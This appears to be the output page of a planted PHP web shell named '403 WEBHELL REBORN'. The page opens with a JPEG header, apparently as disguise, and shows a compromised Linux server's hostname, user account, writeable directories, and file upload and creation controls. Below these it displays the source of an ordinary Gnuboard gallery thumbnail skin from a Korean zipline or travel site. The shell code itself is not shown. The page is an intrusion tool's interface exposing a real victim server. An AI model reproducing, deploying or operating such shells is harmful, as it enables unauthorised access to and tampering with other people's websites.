ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/skin/latest/gallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/skin/latest/gallery/latest.skin.php
<?php
if (!defined("_GNUBOARD_")) exit; // 개별 페이지 접근 불가 

/////////////////////// 썸네일  사용자 설정/////////////////////////////////////////////////////// 
 $max_W = 100;          // 가로 최대 크기
 $max_H = 100;          // 세로최대 크기
 $thum_Qual = 100;     // 썸네일 화질

$data_path = $g4[path]."/data/file/$bo_table";
$thumb_path = $data_path.'/thumb2';

@mkdir($thumb_path, 0707);
@chmod($thumb_path, 0707);
//////////////////////// 썸네일 사용자 설정 ///////////////////////////////////////////////////////
$color = array('#99CC66'); // 원하는 색상 한개로만 할때
 shuffle($color);
  for( $i = 0; $i < 1; $i++ ){
     $ran_color = $color[$i];
     }
?>
<div class="n_outline"><?php//목록 패딩 시작?>
<dl>
	<dt style="float:left;"><img src="/img/main/gallery_title.gif" alt="zipline gallery"/></dt>
	<dd style="position:relative; left:467px;"><a href="/bbs/board.php?bo_table=co_gallery" title="짚라인갤러리보기" ><img src="/img/main/more.gif" alt="zipline gallery"/></a></dd>
</dl>
<!-- <h1><img src="/img/main/gallery_title.gif" alt="zipline gallery"/></h1>
<span style="float:left;"><img src="/img/main/more.gif" alt="zipline gallery"/></span> -->
<div class="latest-wrap">
	<? for ($i=0; $i<count($list); $i++) { ?>
	
		<?///////////////////////<!-- 썸네일 -->////////////////////////////////////////////	
		$image = urlencode($list[$i][file][0][file]);  // 원본이미지
		$file="$g4[path]/data/file/$bo_table/".$image; // 원본 이미지 기타등등 있는곳 
		if ( !file_exists($image) ) {$thum = "$board_skin_path/img/noimage.gif"; }
		//파일이 플래시 동영상 경우 
		if (preg_match("/\.($config[cf_flash_extension])$/i", $file)){ $thum = "$board_skin_path/img/no_flash.gif"; }
		if (preg_match("/\.($config[cf_movie_extension])$/i", $file)){ $thum = "$board_skin_path/img/no_mov.gif"; }
		// 확장자 검사 이미지는 jpg,jpeg,gif,png 만 가능
		if (preg_match("/\.(jp[e]?g|gif|png)$/i", $file) && file_exists($file)){		 
			$thum = $thumb_path.'/'.$list[$i][file][0][file];  // Thumbnail 파일경로
			 // $thumb = $thumb_path.'/'.$list[$i][file][0][file]; 
			if ( file_exists($thum) ) {                 // Thumbnail 있다면 	 
				$thum_info = getimagesize($thum);        // Thumbnail 정보
				$thum_W = $thum_info[0] ;
				$thum_H = $thum_info[1] ;	
			} 
			$file = $list[$i][file][0][path] .'/'. $list[$i][file][0][file];
			if ( !file_exists($thum) ) {                // Thumbnail 없다면 		  			   
				$file_info = getimagesize($file);         // 원본파일 정보
				$fW = $file_info[0];
				$fH = $file_info[1];

				$W_ratio = $max_W / $fW;
				$H_ratio = $max_H / $fH;

				if ( ($fW <= $max_W) && ($fH <= $max_H) ) {
					$thum_W = $fW;
					$thum_H = $fH;
				}else if (($W_ratio * $fH) < $max_H) {
					$thum_H = ceil($W_ratio * $fH);
					$thum_W = $max_W;
				}else {
					$thum_W = ceil($H_ratio * $fW);
					$thum_H = $max_H;
				}

				if ($file_info[2] == 1)
					$src = imagecreatefromgif($file);
				else if ($file_info[2] == 2)
					$src = imagecreatefromjpeg($file);
				else if ($file_info[2] == 3)
					$src = imagecreatefrompng($file);
				else
					break;

				$dst = imagecreatetruecolor($thum_W, $thum_H); //// GD라이브러리 2.0 이상 함수
				imagecopyresampled($dst, $src, 0, 0, 0, 0, $thum_W, $thum_H, $fW, $fH);// GD2.0이상
				imagejpeg($dst, $thumb_path.'/'.$list[$i][file][0][file], $thum_Qual); //압축율좋음
				chmod($thumb_path.'/'.$list[$i][file][0][file], 0606);

				imageDestroy($dst);  //메모리에 제거
				imageDestroy($src);	
				$thum = $thumb_path.'/'.$list[$i][file][0][file];  // Thumbnail 파일경로 즉 썸파일
			}  // Thumbnail 없다면 
		}   //if (preg_match("/\.(jp[e]?g|gif|png)$/i", $file) && file_exists($file)){
		//////////////////////////<!-- 썸네일 -->//////////////////////////////////////////////////////?>
		<?
		if (!$list[$i][icon_secret]) { //내용보기가 체그 되더라도 비밀글 이라면 내용 보이지 않음  
			if (!$list[$i][content]) { // 목록에 내용이있다면	
			$thum = $thumb_path.'/'.$list[$i][file][0][file];// 서버나, 외부이미지, 썸만든거 있음 보여 주세요 	
				if (file_exists($thum) && $list[$i][file][0][file]) {	
					echo "<div class=\"img_thum\">";  //img_thum
					echo "<a href=\"{$list[$i][href]}\" class=\"jqzoom\" title=\"{$list[$i][subject]}\" >"; // 줌 적용
					echo "<img onmouseover=\"this.style. filter=''\" style=\"filter:gray; \" onmouseout=\"this.style.filter='gray'\" src='$thum' alt=\"이미지\"/>";
					echo "</a>"; 
					echo "</div>";  //img_thum	
				}else{// 목록에 내용이있는데 이미지가 없다면
					echo "<div class=\"no-img\" >";				
					echo "<a href=\"{$list[$i][href]}\">";	
					echo "<img src='/img/main/latest_no.gif' alt=\"이미지없음\"/>";   
					echo "</a>";					
					echo "</div>";	
				}//file_exists($thum)
			}//!$list[$i][content]
		} //내용보기가 체그 되더라도 비밀글 이라면 내용 보이지 않음
		?>	
		
	<? } // for ?>
	</div>
<? if (count($list) == 0) { echo "<div class=\"n_title3\">$board[bo_subject]에 게시물이 없습니다.</div>"; } ?>
</div><?php //목록 패딩 끝 ?>

Anon7 - 2021